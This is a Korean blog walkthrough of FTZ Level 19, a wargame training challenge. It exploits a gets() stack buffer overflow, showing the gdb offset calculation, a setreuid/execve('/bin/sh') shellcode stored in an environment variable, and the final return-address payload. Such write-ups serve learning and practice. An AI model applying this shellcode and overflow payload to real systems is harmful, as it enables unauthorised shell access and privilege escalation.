ii4gsp
FTZ - Level19 본문
소스코드가 아주 짧아졌다.
gets()함수에서 취약점이 발생한다.
gdb로 파일을 열고 disas main을해주고
<main+9>를 보면 0xffffffd8은 2진수로 1101 1000인데 1의 보수를 해주면 0010 0111이되고 2의 보수를 해주면 +1이 되니 40이된다
buf에서 ebp까지의 거리는 40이다.
buf에서 ret까지의 거리는 44가된다
44byte의 값을 채워주고 쉘코드를 넣으면될것 이다.
#include <stdio.h>
int main()
{
printf("%p\n", getenv("shellcode"));
return 0;
}
shellcode의 주소를 알아내기 위해 c언어로 코드를 작성해주었다.
setreuid함수가 없어서 setreuid가 포함된 41byte 쉘코드를 환경변수에 등록하였다.
환경변수
export shellcode=$(python -c 'print "\x90" * 20 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
아까 작성한 코드로 쉘코드의 주소를 알아내었으니 페이로드를 작성할 수 있다.
payload
(python -c 'print "\x90" * 44 + "\xde\xfe\xff\xbf"';cat) | ./attackme
'시스템 해킹 > FTZ' 카테고리의 다른 글
FTZ - Level20 (0) | 2020.01.12 |
---|---|
FTZ - Level18 (0) | 2020.01.11 |
FTZ - Level17 (0) | 2020.01.10 |
FTZ - Level16 (0) | 2020.01.10 |
FTZ - Level15 (0) | 2020.01.10 |
Comments